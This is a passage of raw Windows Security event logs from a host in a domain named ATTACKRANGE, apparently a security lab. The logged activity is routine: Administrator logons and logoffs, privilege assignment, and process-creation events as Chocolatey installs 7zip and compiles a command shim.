This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246206
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246205
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D007

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246204
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246235
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246234
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246233
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe30
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES62FB.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCCF28D845EEA54A2F9E1C8C40ECB18E11.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246232
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EFE6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246231
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EFE6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246230
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246229
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x888
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246236
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x888
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb4
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" install 7zip --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe install 7zip --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246240
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x434
	New Process Name:	C:\ProgramData\chocolatey\lib\7zip.install\tools\7zip_x64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb4
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\lib\7zip.install\tools\7zip_x64.exe" /S 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246246
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246245
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb4
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246244
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES7700.tmp" "c:\ProgramData\chocolatey\bin\CSC590F01208A7457486CAB38EE71658.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246243
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe24
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246242
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\7z.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123348_1307\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246241
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb4
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" -o "C:\ProgramData\chocolatey\bin\7z.exe" -p "c:\program files\7-zip\7z.exe" -i "C:\Program Files\7-Zip\7z.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246283
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x94C48

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246282
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x94C48
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

